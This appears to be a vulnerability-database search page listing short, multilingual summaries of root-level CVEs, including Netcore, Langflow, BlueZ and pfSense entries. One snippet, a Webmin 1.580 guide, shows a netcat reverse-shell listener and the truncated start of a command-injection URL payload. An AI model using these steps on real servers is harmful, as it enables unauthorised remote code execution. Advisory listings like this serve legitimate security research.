12000 matches found
CVE-2026-27548 Command Injection in /index.php/ajax/get_iodd_port_info
A low-privileged remote attacker can exploit a command injection vulnerability in the /index.php/ajax/getioddportinfo endpoint using user or operator credentials allowing execution of commands with root privileges on the device...
Simulation_CVE-2024-46256
CVE-2024-46256 与 CVE-2024-46257 – PoC 模拟 概述 本仓库包含一个逐步、以截图辅助的概念验证（PoC），模拟 Nginx Proxy Manager 中的两个漏洞，这些漏洞可实现 OS 命令注入，进而在身份验证后实现远程代码执行（RCE）。 受影响产品：Nginx Proxy Manager 受影响版本：v2.11.3 影响：认证后的 RCE（在 PoC 中观察到以 root 权限执行） 内容 POC.md：详细的分析与利用步骤记录，包括 payload 和观察结果。 static/：POC.md 中按出现顺序引用的截图。 使用方法 1. 打开...
EUVD-2026-80038
Netcore NR255-V firmware version 1.5.130703 builds root-run command lines from unquoted user-supplied DDNS input in DDNSsetcgi.c and related ddnsProc.c components, enabling os command argument injection. Attackers can exploit the unsanitized parameters to inject additional command arguments...
CVE-2019-12949
CVE-2019-12949 De la vulnerabilidad de Cross Site Scripting a la ejecución remota de código en pfSense 2.4.4-p2 y 2.4.4-p3 Descripción de la información: En pfSense 2.4.4-p2 y 2.4.4-p3, si es posible engañar al administrador autenticado para que haga clic en un botón de una página de phishing, un...
cve-2019-14514
CVEID : CVE-2019-14514 Name of the affected products and versions : Microvirt MEmu todas las versiones anteriores a 7.0.2 Problem type : CWE-78: Neutralización Incorrecta de Elementos Especiales utilizados en un Comando del Sistema Operativo 'Inyección de Comandos del Sistema Operativo' Resumen...
CVE-2026-76866
Netcore NR255-V firmware version 1.5.130703 builds root-run command lines from unquoted user-supplied DDNS input in DDNSsetcgi.c and related ddnsProc.c components, enabling os command argument injection. Attackers can exploit the unsanitized parameters to inject additional command arguments...
CVE-2026-76866
Netcore NR255-V router firmware version 1.5.130703 is affected by an OS command argument injection vulnerability in its DDNS functionality. The DDNSset_cgi.c and related ddns_Proc.c components construct root-run command lines from unquoted user-supplied DDNS input, allowing an authenticated attac...
CVE-2026-66890
The affected products use hard-coded credentials, which could allow remote access to files with root privileges where FTP is reachable...
CVE-2026-19774
A flaw was found in BlueZ. This vulnerability, a stack-based buffer overflow in the Advanced Audio Distribution Profile A2DP stack, allows a network-adjacent attacker to execute arbitrary code. By pairing a malicious Bluetooth device with the target system, an attacker can exploit improper...
CVE-2026-76690
CVE-2026-76690 affects a component of HPE Networking EdgeConnect SD-WAN Gateways , allowing an authenticated remote attacker to achieve remote code execution as root by supplying a specially crafted input. The CVSS 3.1 score is 7.2 (HIGH) , with low attack complexity, no user interaction, and hig...
CVE-2023-22906
CVE-2023-22906 CVE-2023-22906 es una vulnerabilidad crítica que afecta al dispositivo Hero Qubo Smart Doorbell con la versión HCD0102V1.3820220125. Este dispositivo en particular permite acceso Telnet con privilegios de root por defecto, sin requerir contraseña. Esta vulnerabilidad supone un ries...
CVE-2021-39273-CVE-2021-39274
CVE-2021-39273 En XeroSecurity Sn1per 9.0 versión gratuita, se establecen permisos inseguros 0777 al ejecutar la aplicación, lo que permite a un usuario sin privilegios modificar la aplicación, los módulos y los archivos de configuración. Esto conduce a la ejecución arbitraria de código con...
cve-2025-50946
cve-2025-50946 Script de explotación para CVE-2025-50946 OliveTin get-theme RCE. Los requisitos de caracteres son exigentes y muchos comandos que incluyen múltiples argumentos pueden no ejecutarse correctamente. No he dedicado tiempo a investigar la causa raíz ni a hacer el script más robusto...
Webmin-1.580---file-show.cgi-Manual-Remote-Command-Execution-Non-Metasploit-
Webmin 1.580 RCE 执行指南 关于通过 /file/show.cgi 组件在 Webmin 1.580 上执行经过身份验证的远程代码执行 RCE 的快速参考。 1. 攻击机（监听器） 在本地机器上运行此命令以在执行负载之前捕获传入的连接： root@kitploit: rlwrap nc -lnvp 4444 2. 目标利用载荷 将以下 URL 直接粘贴到浏览器的地址栏中（确保您已先登录 Webmin 仪表盘）： root@kitploit: http://127.0.0.1:10001/file/show.cgi/bin/sysinfo.cgi|rm...
EUVD-2026-78164
IBM Langflow OSS 1.0.0 through 1.10.0 can allow attackers to execute arbitrary Python code with root privileges UID=0 on the Langflow server by submitting components containing socket or urllib imports. This enables: 1 AWS credential theft via IMDSv1 SSRF with full IAM role permissions, 2 arbitra...
CVE-2026-12944
IBM Langflow OSS 1.0.0 through 1.10.0 contains a vulnerability in its code security scanner where the DANGEROUS_IMPORTS blocklist correctly blocked subprocess but omitted the socket and urllib standard library modules. This allowed authenticated users to submit components containing socket.connec...
CVE-2026-12944 Incomplete Security Scanner Blocklist Enables Network-Based Code Execution
IBM Langflow OSS 1.0.0 through 1.10.0 can allow attackers to execute arbitrary Python code with root privileges UID=0 on the Langflow server by submitting components containing socket or urllib imports. This enables: 1 AWS credential theft via IMDSv1 SSRF with full IAM role permissions, 2 arbitra...
CVE-2026-12944 Incomplete Security Scanner Blocklist Enables Network-Based Code Execution
IBM Langflow OSS 1.0.0 through 1.10.0 can allow attackers to execute arbitrary Python code with root privileges UID=0 on the Langflow server by submitting components containing socket or urllib imports. This enables: 1 AWS credential theft via IMDSv1 SSRF with full IAM role permissions, 2 arbitra...
CVE-2026-84568
A path traversal issue was addressed with improved path validation. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. An attacker with control of a network directory server may be able to execute arbitrary code with root privileges...